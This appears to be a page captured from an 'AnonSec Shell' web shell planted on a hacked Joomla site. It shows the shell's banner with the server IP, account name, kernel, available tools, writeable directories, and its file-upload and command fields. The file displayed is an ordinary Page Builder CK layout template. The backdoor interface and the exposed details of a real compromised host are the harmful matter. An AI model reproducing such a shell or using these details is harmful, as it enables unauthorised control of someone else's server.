AnonSec Shell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.144
Web Server : Apache
System : Linux webd003.cluster120.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : maitricfuz ( 93378)
PHP Version : 8.4.10
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/maitricfuz/www/saint-martin-lg/plugins/pagebuilderck/code/layouts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/maitricfuz/www/saint-martin-lg/plugins/pagebuilderck/code/layouts/edit_code.php
<?php
/**
 * @name		Page Builder CK
 * @package		com_pagebuilderck
 * @copyright	Copyright (C) 2015. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */

defined('_JEXEC') or die;
?>
<div id="elementscontainer">
	<div class="menulink" tab="tab_edition"><?php echo Pagebuilderck\CKText::_('CK_TEXT_EDITION'); ?></div>
	<div class="tab menustyles ckproperty tab_fullscreen" id="tab_edition">
		<textarea id="<?php echo $id; ?>_text" class="pbck_code_textarea"></textarea>
	</div>
	<div class="menulink" tab="tab_blocstyles"><?php echo Pagebuilderck\CKText::_('CK_STYLES'); ?></div>
	<div class="tab menustyles ckproperty" id="tab_blocstyles">
		<?php echo $this->menustyles->createBlocStyles('bloc') ?>
	</div>
</div>
<style>#<?php echo $id; ?>_text { width: 100%;box-sizing: border-box;min-height: 300px; }</style>
<script language="javascript" type="text/javascript">
var focus = $ck('.editfocus');
function ckLoadEditionPopup() {
	ckFillEditionPopup(focus.attr('id'));
	$ck('#<?php echo $id; ?>_text').val(focus.find('.ckcode').text().trim());
}

function ckBeforeSaveEditionPopup() {
	var content = $ck('#<?php echo $id; ?>_text').val();
	focus.find('.ckcode').text(ckCodeReplaceTags(content));
}

function ckCodeReplaceTags(data) {
	// style
	data = data.replace(/<style/gi, "<!ck-style");
	data = data.replace(/<\/style/gi, "<!ck-/style");
	// script
	data = data.replace(/<script/gi, "<!ck-script");
	data = data.replace(/<\/script/gi, "<!ck-/script");
	// script
	data = data.replace(/<noscript/gi, "<!ck-noscript");
	data = data.replace(/<\/noscript/gi, "<!ck-/noscript");
	// php
	data = data.replace(/<\?php/gi, "<!ck-php");
	data = data.replace(/\?>/gi, "php-!ck>");

	return data;
}

/*
 * Method automatically called in ckCloseEditionPopup() if exists
 */
function ckBeforeCloseEditionPopup() {

}

function ckUpdatePreviewArea() {

}

</script>

Anon7 - 2022
AnonSec Team